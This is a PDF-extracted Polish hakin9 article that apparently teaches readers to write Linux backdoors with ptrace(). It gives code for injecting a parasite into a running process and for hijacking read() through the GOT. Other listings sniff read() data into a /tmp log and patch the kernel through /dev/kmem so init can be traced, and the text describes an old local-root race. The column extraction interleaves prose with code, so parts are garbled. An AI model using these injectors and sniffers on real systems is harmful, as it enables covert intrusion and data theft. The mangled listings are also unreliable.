You are on page 1of 13

Hakowanie aplikacji

Rootkity i Ptrace
Atak

Stefan Klaas

stopień trudności

Przede wszystkim muszę zastrzec, że ten tekst jest specyficzny


dla Linuksa i potrzebna jest pewna wiedza o programowaniu w
ANSI C oraz trochę o asemblerze. Było już dawniej parę różnych
technik wstrzykiwania procesu z udziałem, kilka publicznych, jak i
prywatnych eksploitów, furtek i innych aplikacji. Przyjrzymy się bliżej
funkcji i nauczymy się, jak pisać własne furtki.

D
otychczas nie znaliśmy zbyt wie- Objaśnienie funkcji ptrace()
le dostępnych publicznie funkcji Funkcja ptrace() jest bardzo użyteczna przy
nadpisujących kod. Jest trochę ko- debugowaniu. Używa się jej do śledzenia pro-
du w „podziemiu”, który nie jest publicznie cesów.
udostępniony z powodu przeterminowania Wywołanie systemowe ptrace() dostar-
(10.2006) i nie ma też dobrych dokumen- cza narzędzia poprzez które proces nadrzęd-
tów opisujących tą technikę, dlatego obja- ny może obserwować i kontrolować wykona-
śnię ją. Jeśli znasz już ptrace(), ten arty- nie innego procesu, a także podglądać i zmie-
kuł powinien Cię również zainteresować, niać jego główny obraz i rejestry. Najczęściej
bo zawsze to dobrze jest się nauczyć no- jest używany do zaimplementowania punktów
wych rzeczy, nieprawdaż? Czy to nie fajnie
móc wstawiać furtki prawie każdego rozmia-
ru do pamięci dowolnego procesu, zmienia- Z artykułu dowiesz się...
jąc jego wykonanie, nawet na niewykonywal-
• należy rozumieć wywołanie systemowe
ną część stosu? Zatem czytaj czytaj dalej,
ptrace();
bo przedstawię w szczegółach, jak to zro-
• używać go w celu zmiany przepływu stero-
bić. Zastrzegam też, że użyłem następują- wania uruchomionych programów poprzez
cych wersji gcc: wstrzykiwanie własnych instrukcji do pamięci
procesu, przejmując w ten sposób kontrolę nad
gcc version 3.3.5 (Debian) uruchomionym procesem.
gcc version 3.3.5 (SUSE Linux)

Powinieneś wiedzieć...
Kompilujemy zawsze prostą metodą gcc file.c
-o output; nie trzeba żadnych flag kompilacji, • należy być obytym ze środowiskiem Linuksa,
toteż nie będę przedstawiać przykładów kom- jak i posiadać zaawansowaną wiedzę o C i pod-
pilacji. To powinno być oczywiste. Tyle słowem stawową o asemblerze Intel/AT&T.
wstępu, zaczynamy.

12 hakin9 Nr 1/2007 www.hakin9.org


Pisanie własnych furtek

zatrzymania podczas debugowania


i śledzenia wywołań systemowych. Listing 1. Przykładowy ptrace()-owy wstrzykiwacz
Proces nadrzędny może zainicjo- #include <stdio.h>
wać śledzenie poprzez wywołanie #include <stdlib.h>
fork() i nakazanie procesowi potom- #include <unistd.h>
nemu wykonania PTRACE _ TRACEME , a #include <asm/unistd.h>
#include <asm/user.h>
po nim (zazwyczaj) exec. Ewentual-
#include <signal.h>
nie proces nadrzędny może zarzą- #include <sys/stat.h>
dzić śledzenie istniejącego procesu #include <sys/wait.h>
z użyciem PTRACE _ ATTACH . #include <errno.h>
Proces potomny, gdy jest śle- #include <linux/ptrace.h>
asm("MY_BEGIN:\n"
dzony, zatrzyma się za każdym ra-
"call para_main\n"); /* oznaczamy początek kodu pasożyta */
zem, gdy dostanie sygnał, nawet char *getstring(void) {
jeśli sygnał ma ustawione ignoro- asm("call me\n"
wanie (poza SIGKILL , który kończy "me:\n"
się zawsze tak samo). Proces nad- "popl %eax\n"
"addl $(MY_END - me), %eax\n");
rzędny będzie notyfikowany w na-
}
stępnym miejscu oczekiwania i mo- void para_main(void) {
że przeglądać i modyfikować pro- /* tu się zaczyna główny kod pasożyta
ces potomny, gdy ten jest zatrzy- * wpisz co ci się podoba...
many. Proces nadrzędny następnie * to jest tylko przykład
*/
każe procesowi potomnemu kon-
asm("\n"
tynuować wykonanie, opcjonalnie "movl $1, %eax\n"
ignorując dostarczony sygnał (al- "movl $31337, %ebx\n"
bo nawet dostarczając mu inny sy- "int $0x80\n"
gnał). "\n");
/*
Gdy proces nadrzędny zakoń-
* wykonujemy exit(31337);
czy śledzenie, może przerwać pro- * tylko po to, żeby było to widać na strace...
ces potomny przez PTRACE _ KILL , */
albo nakazać kontynuację wykony- }
wania w normalnym, nie śledzonym asm("MY_END:"); /* tu kończy się zawartość pasożyta */
char *GetParasite(void) /* umieść pasożyta */
trybie, przez PTRACE _ DETACH . War-
{
tość podana jako „request ” okre- asm("call me2\n"
śla akcję, jaka ma być podjęta: "me2:\n"
PTRACE _ TRACEME – oznacza, że ten "popl %eax\n"
proces ma być śledzony przez pro- "subl $(me2 - MY_BEGIN), %eax\n"
"\n");
ces nadrzędny. Każdy sygnał (po-
}
za SIGKILL) dostarczony do proce- int PARA_SIZE(void)
su spowoduje zatrzymanie, a pro- {
ces nadrzędny będzie notyfikowa- asm("movl $(MY_END-MY_BEGIN), %eax\n"); /* weź rozmiar pasożyta */
ny w wait(). Również każde na- }
int main(int argc, char *argv[])
stępne wywołanie exec...() przez
{
ten proces spowoduje dostarczenie int parasize;
SIGTRAP, umożliwiając procesowi int i, a, pid;
nadrzędnemu przejęcie kontroli za- char inject[8000];
nim nowy program zacznie się wy- struct user_regs_struct reg;
printf("\n[Przykladowy wtryskiwacz ptrace]\n");
konywać. Proces raczej nie powi-
if (argv[1] == 0) {
nien wykonać takiego żądania, jeśli printf("[usage: %s [pid] ]\n\n", argv[0]);
proces nadrzędny nie oczekuje, że exit(1);
będzie go śledzić (pid, addr i data }
są ignorowane). To powyższe żą- pid = atoi(argv[1]); parasize = PARA_SIZE(); /* liczymy rozmiar */
while ((parasize % 4) != 0) parasize++;/* tworzymy kod do wstrzyknięcia */
danie jest używane tylko przez pro-
{
ces potomny; pozostałe są używa- memset(&inject, 0, sizeof(inject));
ne tylko przez proces nadrzędny. memcpy(inject, GetParasite(), PARA_SIZE());
W pozostałych żądaniach pid okre- if (ptrace(PTRACE_ATTACH, pid, 0, 0) < 0) /* podłącz się do procesu */
śla proces potomny, na którym na- {
leży działać. Dla żądań innych, niż

www.hakin9.org hakin9 Nr 1/2007 13


Atak

PTRACE _ KILL ,proces potomny musi


Listing 1a. Przykładowy ptrace()-owy wstrzykiwacz być zatrzymany.
PTRACE _ PEEKTEXT, PTRACE _
Przetestujmy to na terminalu (A):
PEEKDATA – czyta słowo spod lo-
server:~# gcc ptrace.c -W kacji addr w pamięci procesu po-
server:~# nc -lp 1111 & tomnego, zwracając je jako rezul-
[1] 7314 tat ptrace(). Linux nie umieszcza
server:~# ./a.out 7314
segmentu kodu i segmentu danych
[Przykladowy wtryskiwacz ptrace]
+ attached to proccess id: 7314 w osobnych przestrzeniach adre-
- sending stop signal.. sowych, więc te dwa wywołania są
+ proccess stopped. aktualnie równoważne (argument
- calculating parasite injection size.. data jest ignorowany).
+ Parasite is at: 0x400fa276
PTRACE _ PEEKUSR – czyta sło-
- detach..
+ finished! wo spod przesunięcia addr w prze-
server:~# strzeni USER procesu potomnego,
który trzyma rejestry i inne informa-
A teraz na terminalu (B), pokażemy strace-m proces Netcat: cje o procesie (patrz <linux/user.h>
gw1:~# strace -p 7314
i <sys/user.h>. Słowo jest zwracane
Process 7314 attached jako rezultat ptrace(). Zwykle prze-
- interrupt to quit sunięcie musi być wyrównane do
accept(3, pełnego słowa, może się więc to róż-
nić na różnych architekturach (data
Wracamy na terminal A i podłączamy się pod zainfekowany proces jest ignorowane).
Netcat: PTRACE _ POKETEXT, PTRACE _

server:~# nc -v localhost 1111


POKEDATA – kopiuje słowo spod „da-
localhost [127.0.0.1] 1111 (?) open ta” do lokacji addr w pamięci proce-
[1]+ Exit 105 nc -lp 1111 su. Jak wyżej, oba te wywołania są
server:~# równoważne.
Sprawdźmy teraz, co napisał strace na terminalu B:
PTRACE _ POKEUSR – kopiuje słowo
accept(3, {sa_family=AF_INET,
sin_port=htons(35261),
z data pod przesunięcie addr w prze-
sin_addr=inet_addr strzeni USER procesu potomnego. Jak
("127.0.0.1")}, [16]) = 4 wyżej, przesunięcie musi być wyrów-
_exit(31337) = ? nane do pełnego słowa. W celu za-
Process 7314 detached
pewnienia spójności jądra, niektóre
server:~#
modyfikacje w obszarze USER są nie-
dozwolone.
PTRACE _ GETREGS, PTRACE _

Listing 1b. Prosty wstrzykiwacz ptrace() GETFPREGS – kopiuje odpowiednio re-


jestry ogólnego przeznaczenia lub
printf("cant attach to pid %d: %s\n", pid, strerror(errno)); rejestry zmiennoprzecinkowe pro-
exit(1);
cesu potomnego do lokacji data w
}
printf("+ attached to proccess id: %d\n", pid);
procesie potomnym. Zobacz <linux/
printf("- sending stop signal..\n"); user.h> w celu uzyskania informacji
kill(pid, SIGSTOP); /* zatrzymaj proces*/ na temat formatu tych danych (addr
waitpid(pid, NULL, WUNTRACED); jest ignorowane).
printf("+ proccess stopped. \n");
PTRACE _ SETREGS, PTRACE _
ptrace(PTRACE_GETREGS, pid, 0, &reg); /* pobierz rejestry */
SETFPREGS – kopiuje odpowiednio re-
printf("- calculating parasite injection size.. \n");
for (i = 0; i < parasize; i += 4) /* wrzuć kod pasożyta pod %eip */ jestry ogólnego przeznaczenia lub
{ zmiennoprzecinkowe z lokacji data
int dw; w procesie nadrzędnym. Podobnie,
memcpy(&dw, inject + i, 4);
jak w PTRACE _ POKEUSER , modyfikacja
ptrace(PTRACE_POKETEXT, pid, reg.eip + i, dw);
}
niektórych rejestrów ogólnego prze-
printf("+ Parasite is at: 0x%x \n", reg.eip); znaczenia może być niedozwolona
printf("- detach..\n"); (addr jest ignorowany).
ptrace(PTRACE_CONT, pid, 0, 0); /* wznów proces potomny */ PTRACE _ CONT – wznawia wyko-
nywanie zatrzymanego procesu
potomnego. Jeśli wartość data jest

14 hakin9 Nr 1/2007 www.hakin9.org


Pisanie własnych furtek

niezerowa i nie SIGSTOP, jest inter-


Listing 1c. Prosty wstrzykiwacz ptrace() pretowana jako sygnał, który nale-
ptrace(PTRACE_DETACH, pid, 0, 0); /* odłącz się od procesu */
ży dostarczyć do procesu; w prze-
printf("+ finished!\n\n"); ciwnym razie nie jest dostarcza-
exit(0); ny żaden sygnał. W ten sposób,
} na przykład, proces potomny mo-
}
że kontrolować, czy sygnał wysła-
ny do procesu potomnego był do-
starczony, czy nie (addr jest igno-
Listing 2. Rzut oka na tablicę GOT rowane).
PTRACE _ SYSCALL , PTRACE _ SINGLE-
[root@hal /root]# objdump -R /usr/sbin/httpd |grep read
STEP – wznawia wykonywanie zatrzy-
08086b5c R_386_GLOB_DAT ap_server_post_read_config
08086bd0 R_386_GLOB_DAT ap_server_pre_read_config manego procesu potomnego, jak dla
08086c0c R_386_GLOB_DAT ap_threads_per_child PTRACE _ CONT, ale zarządza, że pro-
080869b0 R_386_JUMP_SLOT fread ces potomny będzie zatrzymany od-
08086b24 R_386_JUMP_SLOT readdir powiednio przy następnym wejściu
08086b30 R_386_JUMP_SLOT read <-- tu mamy naszą read()
lub wyjściu z wywołania systemo-
[root@hal /root]#
wego, albo wywołaniu pojedynczej
instrukcji (proces potomny zatrzy-
ma się też, jak zwykle, po otrzyma-
Listing 3. Przykład sys_write
niu sygnału). Z punktu widzenia pro-
int patched_syscall(int fd, char *data, int size) cesu nadrzędnego, proces potom-
{ ny będzie wyglądał, jakby został za-
// pobieramy wszystkie parametry ze stosu, deskryptor umieszczony
trzymany przez otrzymanie SIGTRAP.
// pod 0x8(%esp), dane pod 0xc(%esp), a rozmiar pod 0x10(%esp)
Zatem PTRACE _ SYSCALL można użyć
asm(" w ten sposób, że sprawdzamy argu-
movl $4,%eax # oryginalne wywołanie systemowe menty przesłane do wywołania sys-
movl $0x8(%esp),%ebx # fd temowego przy pierwszym wołaniu,
movl $0xc(%esp),%ecx # dane
a następnie dokonujemy następne-
movl $0x10(%esp),%edx # rozmiar
int $0x80
go PTRACE _ SYSCALL i sprawdzamy
// po wywołaniu przerwania, wartość zwracana zostanie zapisana w %eax wartość zwróconą przez wywołanie
// jeśli chcesz dodać kod za oryginalnym wywołaniem systemowym systemowe w następnym zatrzyma-
// należy zapamiętać gdzie indziej %eax i przywrócić niu (addr jest ignorowane).
na końcu
PTRACE _ KILL – wysyła SIGKILL
// nie wstawiaj instrukcji 'ret' na koniec!
")
procesowi potomnemu powodując
jego zakończenie (addr i data są
ignorowane).
PTRACE _ ATTACH – dołącza się do

Listing 4. Kod z infektora Ii, znaleziony w internecie, do przydzielania procesu podanego jako pid, powo-
potrzebnej pamięci dując że ten proces staje się śle-
dzonym procesem potomnym dla
void infect_code() bieżącego procesu, czyli tak, jak-
{
by ten „potomny” proces wyko-
asm("
xorl %eax,%eax
nał PTRACE _ TRACEME . Bieżący pro-
push %eax # offset = 0 ces staje się w istocie procesem
pushl $-1 # no fd nadrzędnym tego potomnego pro-
push $0x22 # MAP_PRIVATE|MAP_ANONYMOUS cesu dla niektórych zastosowań
pushl $3 # PROT_READ|PROT_WRITE
(np. będzie dostawał notyfikacje
push $0x55 # mmap() przydziela 1000 bajtów domyślnie, więc
# jeśli potrzeba więcej, oblicz potrzebny rozmiar.
zdarzeń procesu potomnego i bę-
pushl %eax # start addr = 0 dzie widoczny w raporcie ps (1) ja-
movl %esp,%ebx ko proces nadrzędny tego proce-
movb $45,%al su, ale getppid (2) w procesie po-
addl $45,%eax # mmap()
tomnym będzie wciąż zwracać pid
int $128
ret
oryginalnego procesu nadrzędne-
"); go. Proces potomny dostaje sygnał
} SIGSTOP, ale niekoniecznie zatrzy-
ma się na tym wywołaniu; należy

www.hakin9.org hakin9 Nr 1/2007 15


Atak

użyć wait () w celu zaczekania, aż Dobrze, nie martw się, nie musisz programów na sieci i możesz po-
proces potomy się zatrzyma (addr i wszystkiego rozumieć już teraz. Po- szukać Googlem jakichś progra-
data są ignorowane). każę Ci niektóre zastosowania póź- mów w akcji.
PTRACE _ DETACH – wznawia zatrzy- niej w tym artykule.
many proces potomny, jak dla PTRACE _ Czym są pasożyty
CONT, ale uprzednio odłącza się od Praktyczne Pasożyty są to nie replikowane sa-
procesu, cofając efekt zmiany rodzi- zastosowania modzielnie kody, które wstrzykuje
ca wywołany przez PTRACE _ ATTACH i wywołania ptrace() się do programów przez zainfeko-
efekt wywołania PTRACE _ TRACEME. Mi- Zwykle ptrace() jest stosowane do wanie ELF-a lub bezpośrednio do
mo, że niekoniecznie o to może cho- śledzenia procesów w celach debu- pamięci procesu w czasie jego wy-
dzić, pod Linuksem śledzony proces gowych. Może być całkiem poręcz- konywania, przez ptrace(). Główna
potomny może zostać odłączony w ne. Programy strace i ltrace używa- różnica zasadza się tu na tym, że in-
ten sposób, niezależnie od metody ją wywołań ptrace() do śledzenia fekcja ptrace() nie jest rezydentna,
użytej do rozpoczęcia śledzenia (addr wykonujących się procesów. Jest podczas gdy infekcja ELF-a zaraża
jest ignorowany). parę interesujących i użytecznych plik binarny podobnie jak wirus i po-
zostaje tam nawet po restarcie sys-
temu. Pasożyt wstrzyknięty przez
ptrace() rezyduje tylko w pamięci,
zatem jeśli proces, na przykład, do-
stanie SIGKILL -a, pasożyt wyciągnie
nogi wraz z nim. Ponieważ ptrace()
jest stosowany do wstrzykiwania ko-
du w trakcie wykonywania procesu,
zatem w oczywisty sposób nie bę-
dzie to kod rezydentny.

Klasyczne
wstrzyknięcie ptrace()
Ptrace() potrafi obserwować i kon-
trolować wykonanie innego procesu.
Jest również władny zmieniać jego
rejestry. Skoro można zatem zmie-
Rysunek 1. Ściągnięcie i kompilacja wstrzykiwacza niać rejestry innego procesu, jest to
nieco oczywiste, dlaczego może być
użyty do eksploitów. Oto przykład
Listing 5. Przykład, czego potrzeba do funkcji infect_code()
starej dziury ptrace() w starym ją-
ptrace(PTRACE_GETREGS, pid, &reg, &reg); drze Linuksa.
ptrace(PTRACE_GETREGS, pid, &regb, &regb); Jądra Linuxa przed 2.2.19 mia-
reg.esp -= 4;
ły błąd pozwalający uzyskać lokal-
ptrace(PTRACE_POKETEXT, pid, reg.esp, reg.eip);
ptr = start = reg.esp - 1024;
nie roota i większość ludzi używa-
reg.eip = (long) start + 2; jących tego jądra mogła jeszcze go
ptrace(PTRACE_SETREGS, pid, &reg, &reg); nie poprawić. W każdym razie ta
while(i < strlen(sh_code)) { dziura wykorzystuje sytuację wyści-
ptrace(PTRACE_POKETEXT,pid,ptr,(int) *(int *)(sh_code+i));
gu w jądrze Linuksa 2.2.x wewnątrz
i += 4;
ptr += 4;
wywołania systemowego execve().
} Wstrzymując proces potomny
printf("trying to allocate memory \n"); przez sleep() wewnątrz execve(),
ptrace(PTRACE_SYSCALL, pid, 0, 0); atakujący może użyć ptrace() lub
ptrace(PTRACE_SYSCALL, pid, 0, 0);
podobnych mechanizmów do prze-
ptrace(PTRACE_SYSCALL, pid, 0, 0);
ptrace(PTRACE_GETREGS, pid, &reg, &reg);
jęcia kontroli nad procesem potom-
ptrace(PTRACE_SYSCALL, pid, 0, 0); nym. Jeśli proces potomny ma se-
printf("new memory region mapped to..: 0x%.8lx\n", reg.eax); tuid, atakujący może użyć procesu
printf("backing up registers...\n"); potomnego do wykonania dowolne-
ptrace(PTRACE_SETREGS, pid, &regb, &regb);
go kodu na podkręconych prawach.
printf("dynamical mapping complete! \n", pid);
ptrace(PTRACE_DETACH, pid, 0, 0);
Znanych jest też kilka innych pro-
return reg.eax; blemów bezpieczeństwa związa-
nych z ptrace() w jądrze Linuxa

16 hakin9 Nr 1/2007 www.hakin9.org


Pisanie własnych furtek

przed 2.2.19 i po, które oznaczo- Ten błąd pozwala ptrace()-ować kład ze wstrzykiwaniem, i wystar-
no już jako rozwiązane, ale wielu sklonowane procesy, przez co moż- czy jak na nasz pierwszy przykła-
administratorów nie założyło jesz- na przejąć kontrolę nad uprzywile- dowy kod. Zatem, oto ten przykład,
cze łat, więc te błędy mogą wciąż jowanymi binariami. Załączam kod prosty ptrace()-owy wstrzykiwacz
istnieć na wielu systemach. Podob- eksploita na tą dziurę jako Proof (Listingi 1 i 2).
ny problem istnieje w 2.4.x – sytu- of Concept (patrz Listing 9). To był Jak widać, działa! Dobrze, wystar-
acja wyścigu w kernel/kmod.c, któ- drobny przykład, jak użyć ptrace () czy jak na tą część. To jest wstrzyki-
ry tworzy wątek jądra w sposób na- do poszerzania uprawnień. A, no wanie przez ptrace(). Przejdźmy te-
rażający bezpieczeństwo. cóż, myślę, że na razie mały przy- raz do bardziej zaawansowanych
technik związanych z tą funkcją. W ra-
zie wątpliwości, możesz przeczytać
Listing 6. Przykład sniffera read() ten artykuł jeszcze raz od początku
#define LOGFILE "/tmp/read.sniffed" i pobawić się z załączonym przykła-
asm("INJECT_PAYLOAD_BEGIN:"); dem, po prostu w celu pełnego zrozu-
int Inject_read(int fd, char *data, int size) mienia, o co w tym chodzi, co jest wy-
{ magane w pozostałej części artykułu,
asm("
jeśli chcesz zrozumieć ptrace().
jmp DO
DONT:
popl %esi # pobierz adres pliku logowania Nadpisywanie
xorl %eax, %eax funkcji przez ptrace()
movb $3, %al # wywołaj read() Ta technika jest nieco bardziej za-
movl 8(%esp), %ebx # ebx: fd
awansowana i takoż użyteczna – nad-
movl 12(%esp),%ecx # ecx: data
movl 16(%esp),%edx # edx: size pisywanie funkcji za pomocą ptrace().
int $0x80 Na pierwszy rzut oka wygląda tak sa-
movl %eax, %edi # zachowaj wartość zwracaną przez funkcję w %edi mo, jak wstrzykiwanie przez ptrace(),
movl $5, %eax # wywolaj open() ale faktycznie jest trochę inne. Zwykle
movl %esi, %ebx # LOGFILE
wstrzykujemy nasz kod powłokowy do
movl $0x442, %ecx # O_CREAT|O_APPEND|O_WRONLY
movl $0x1ff, %edx # prawa dostępu 0777 procesu. Wstawiamy to na stos i zmie-
int $0x80 niamy parę rejestrów. Jest to więc tro-
movl %eax, %ebx # ebx: fd przez następne dwa wywołania chę ograniczone i jednorazowego
movl $4, %eax # write() zapis do logu użytku. Jeśli jednak załatamy wywo-
movl 12(%esp),%ecx # wskaźnik na dane
łania systemowe w przestrzeni jądra,
movl %edi, %edx # wartość zwrócona z read - ilość przeczytanych bajtów
int $0x80 będzie to jak zaimportowanie dzielo-
movl $6, %eax # zgadnij :P nej funkcji, która wykonuje te same
int $0x80 akcje, co prawdziwe wywołanie sys-
movl %edi, %eax # zwróć %edi temowe. Globalna Tablica Przesunięć
jmp DONE
(GOT) podaje nam lokację wywołania
DO:
call DONT systemowego w pamięci, gdzie bę-
.ascii \""LOGFILE"\" dzie to zamapowane po załadowaniu.
.byte 0x00 Najprościej można to odczytać przez
DONE: objdump, wystarczy wygrepować z te-
");
go relokację wywołania systemowe-
}
asm("INJECT_P_END:"); go. Rzućmy okiem na Listing 2.
Za każdym razem, gdy proces
chce wywołać read(), woła adres
Listing 7a. Drobna funkcja pobierająca segment kodu docelowego POD 08086b30. Pod 08086b30 jest
procesu inny adres, który wskazuje na fak-
tyczną read. Jeśli wpiszesz inny adres
int get_textsegment(int pid, int *size) pod 08086b30, następnym razem, jak
{
proces zawoła read(), skoczy zupeł-
Elf32_Ehdr ehdr;
char buf[128];
nie gdzie indziej. Jeśli zrobisz:
FILE *input;
int i; movl $0x08086b30, %eax
snprintf(buf, sizeof(buf), "/proc/%d/exe", pid); movl $0x41414141, (%eax)
if (!(input = fopen(buf, "rb")))
return (-1);
if (fread(&ehdr, sizeof(Elf32_Ehdr), 1, input) != 1)
to następnym razem, gdy zostanie za-
wołana read(), zainfekowany proces

www.hakin9.org hakin9 Nr 1/2007 17


Atak

naruszy segmentację na 0x41414141.


Listing 7b. Drobna funkcja pobierająca segment kodu docelowego Uzbrojeni w tą wiedzę możemy pójść
procesu krok dalej. Pomyślmy o możliwo-
goto end;
ściach, jakie mamy. Ponieważ jeste-
/* śmy w stanie nadpisać dowolną funk-
* czytamy nagłówek ELF + kilka kalkulacji cję w locie, możemy wstawiać różne
*/ furtki do uruchomionych procesów.
*size = sizeof(Elf32_Ehdr) + ehdr.e_phnum * sizeof(Elf32_Phdr);
Możemy całkowicie kontrolować
if (fseek(input, ehdr.e_phoff, SEEK_SET) != 0)
goto end;
przepływ wykonania np. daemona,
for (i = 0; i < ehdr.e_phnum; i++) { przejmować wywołania systemowe,
Elf32_Phdr phdr; zmieniać wartości zwracane lub lo-
if (fread(&phdr, sizeof(Elf32_Phdr), 1, input) != 1) gować dane. Najpierw potrzebujemy
goto end;
jednak pewnej przestrzeni na furtkę.
if (phdr.p_offset == 0) {
fclose(input);
Mamy ok. 240 bajtów nieużywanej
return phdr.p_vaddr; przestrzeni pamięci pod 0x8048000.
} Przestrzeń ta jest zajmowana przez
} nagłówki ELF-a, które nie są używa-
end:;
ne podczas wykonywania. Możesz
fclose(input);
return (-1);
po prostu zmienić te dane i wrzucić
} co ci się podoba do tej przestrzeni
/* Teraz wywołanie naszej funkcji z main() i nic się nie stanie. Zatem zamiast
*/ niszczyć dane przez wstrzykiwanie
if ((textseg = get_textsegment(pid, &size)) == -1) {
ładunku pod %eip, możemy wrzucić
fprintf(stderr, "unable to locate pid %d\'s text segment address (%s)\n",
"nie odnaleziono dla pid %d\s' adresu bufora tekstowego %s \n
to właśnie tam, albo chociaż paso-
pid, strerror(errno)); żyta inicjatywnego, który zaciągnie
return (-1); później większego pasożyta.
}
/* teraz musimy określić rozmiar kodu wstawianego,
* nie może on (dla bezpieczeństwa) przekroczyć 244 bajtów!
Przejmowanie
*/
wywołań systemowych
if (inject_parasite_size() > size) { // validate the size Segment .text zawiera nagłówki pro-
fprintf(stderr, "Twoj pasozyt jest zbyt duzy. Zoptymizuj go!"); gramu ELF i inne informacje, któ-
return (-1); re są używane tylko do inicjaliza-
}
cji. Po załadowaniu procesu, ten
/*
readgot jest funkcją, która zwróci nam globalny adres read() z tablicy
nagłówek jest już nieużywany i mo-
adresów. żemy bezpiecznie go nadpisać na-
objdump twoim przyjacielem, więc można napisać szym kodem. Do pobrania począt-
funkcyjkę, która używa objdump by otrzymać GOT. kowej pozycji tej sekcji trzeba spraw-
Jeśli jesteś leniwy, możesz dostarczyć GOT w argv[2] lub
dzić p _ vaddr. Sekcja ta ma ustalony
zastosować inne rozwiązanie. Ten punkt pozostawiamy jako ćwiczenie
dla zainteresowanego użytkownika
rozmiar; wykonując proste obliczenia
*/ mamy nasz wzór:
snprintf(buf, sizeof(buf), "/proc/%d/exe", pid);
if ((readgot = got(buf, "read")) < 0) { // grab read's GOT addy największy_możliwy_rozmiar
fprintf(stderr, "Unable to extract read()\'s GOT address\n");
=sizeof(e_hdr)+sizeof(p_hdr)
return (-1);
*liczba_p_headerów
}
/* wstrzykniecie pasożyta do segmentu kodu
*/ To mało, ale wystarczy na nasz
if (inject(pid, textseg, inject_parasite_size(), inject_parasite_ptr()) < 0) schludny kod asemblera. Przy pod-
{
mienianiu wywołania systemowe-
fprintf(stderr, " Wstrzykniecie nieudane! (%s)\n ", strerror(errno));
return (-1);
go powinniśmy zachować oryginal-
} ne wywołanie. Naszą implemen-
/* nadpisz globalny offset funkcji read w tablicy adresów tację powinniśmy napisać tak, że-
*/ by zachowywała się jak oryginał.
if (inject(pid, readgot, 4, (char *) &textseg) < 0) {
Poniżej przedstawiona jest część
fprintf(stderr, " Nieudane wstrzykniecie rekordu GOT! (%s)\n",
strerror(errno));
kodu, która nadpisze wybrane wy-
return (-1); wołanie systemowe wybranego pro-
} cesu. Przykład z sys _ write jest
pokazany na Listingu 3.

18 hakin9 Nr 1/2007 www.hakin9.org


Pisanie własnych furtek

Na szczęście nie musimy się


Listing 8a. Łata na jądro umożliwiająca ptrace() na init martwić stosem wywołań i zerami
#define _GNU_SOURCE
w kodzie; nasze podmienione wy-
#include <asm/unistd.h> wołanie systemowe żyje wewnątrz
#include <sys/types.h> procesu i znów, niestety, miejsce na
#include <sys/stat.h> nasz kod jest ograniczone. Spójrz-
#include <unistd.h>
my na informacje, jakie mamy, że-
#include <string.h>
#include <stdlib.h>
by skonstruować nasz nadpisywacz
#include <stdio.h> funkcji:
#include <fcntl.h>
int kmem_fd; • sam proces i jego ID;
/* low level utility subroutines */
• funkcja, która ma być naszą furt-
void read_kmem( off_t offset, void *buf, size_t count )
{
ką;
if( lseek( kmem_fd, offset, SEEK_SET ) != offset ) • adres funkcji z Globalnej Tablicy
{ Przesunięć;
perror( "lseek(kmem)" ); • adres segmentu .text;
exit( 1 );
• nasza implementacja funkcji furt-
}
if( read( kmem_fd, buf, count ) != (long) count )
kowej.
{
perror( "read(kmem)" ); Przełamywanie
exit( 2 ); ograniczenia rozmiaru
}
Jak powiedziałem, nagłówki ELF
}
void write_kmem( off_t offset, void *buf, size_t count )
zajmują ok. 244 bajty i to jest za
{ mało na dużą furtkę, zatem usiło-
if( lseek( kmem_fd, offset, SEEK_SET ) != offset ) wałem wymyślić sposób na zaim-
{ plementowanie znacznie większej
perror( "lseek(kmem)" );
furtki.
exit( 3 );
}
Pierwszym pomysłem jest przy-
if( write( kmem_fd, buf, count ) != (long) count ) dział dynamicznej pamięci:
{
perror( "write(kmem)" ); • wstaw na stos kod, który zama-
exit( 4 );
puje nowy obszar pamięci (za po-
}
}
mocą mmap());
#define GCC_295 2 • pobierz wskaźnik do zamapowa-
#define GCC_3XX 3 nej pamięci;
#define BUFSIZE 256 • użyj inject() do wstawienia two-
int main( void )
jego kodu do pamięci przydzielo-
{
int kmode, gcc_ver;
nej dynamicznie, ale zamiast ad-
int idt, int80, sct, ptrace; resu segmentu .text użyj zama-
char buffer[BUFSIZE], *p, c; powanej pamięci.

if( ( kmem_fd = open( "/dev/kmem", O_RDWR ) ) < 0 )


sh_code = malloc(strlen((char*)
{
infect_code) +4);
dev_t kmem_dev = makedev( 1, 2 );
perror( "open(/dev/kmem)" ); strcpy(sh_code,(char *) infect_code);
if( mknod( "/tmp/kmem", 0600 | S_IFCHR, kmem_dev ) < 0 ) reg.eax = infect_ptrace(pid);
{
perror( "mknod(/tmp/kmem)" );
Żeby zaalokować pamięć bez wyko-
return( 16 );
}
nywania stosu, można lekko zmodyfi-
if( ( kmem_fd = open( "/tmp/kmem", O_RDWR ) ) < 0 ) kować schemat:
{
perror( "open(/tmp/kmem)" ); • nadpisz pozycję segmentu .text
return( 17 );
przez infect _ code(). Nie zapo-
}
unlink( "/tmp/kmem" );
mnij dodać oryginalne read.
} • odwołaj się do oryginalnego
asm( "sidt %0" : "=m" ( buffer ) ); read(), po czym zachowaj zwró-
idt = *(int *)( buffer + 2 ); coną wartość. Jeśli np. stawiasz
furtkę na Netcat, należy się

www.hakin9.org hakin9 Nr 1/2007 19


Atak

potem podłączyć do niego i wy-


Listing 8b. Łata na jądro umożliwiająca ptrace() na init słać jakieś dane, żeby wymusić
/* get system_call() address */
zawołanie podmienionego read();
read_kmem( idt + ( 0x80 << 3 ), buffer, 8 ); • następnym wywołaniem będzie
int80 = ( *(unsigned short *)( buffer + 6 ) << 16 ) mmap(), które przydzieli pamięć.
+ *(unsigned short *)( buffer ); Pobierz wartość zwróconą i użyj
/* get system_call_table address */
jej w inject().
read_kmem( int80, buffer, BUFSIZE );
if( ! ( p = memmem( buffer, BUFSIZE, "\xFF\x14\x85", 3 ) ) )
• inject() jest prostą funkcją wstrzy-
{ kiwania ptrace(). Mały przykład,
fprintf( stderr, "fatal: can't locate sys_call_table\n" ); czego potrzeba do infect _ code()
return( 18 ); po podłączeniu się do procesu,
}
pokazano na Listingu 5.
sct = *(int *)( p + 3 );
printf( " . sct @ 0x%08X\n", sct );
/* get sys_ptrace() address and patch it */ Teraz możemy implementować furtki
read_kmem( (off_t) ( p + 3 - buffer + syscall ), buffer, 4 ); niemal nieograniczonego rozmiaru,
read_kmem( sct + __NR_ptrace * 4, (void *) &ptrace, 4 ); możemy zatem wstrzykiwać znacz-
read_kmem( ptrace, buffer, BUFSIZE );
nie bardziej zaawansowany kod do
if( ( p = memmem( buffer, BUFSIZE, "\x83\xFE\x10", 3 ) ) )
{
procesu.
p -= 7;
c = *p ^ 1; Co możemy
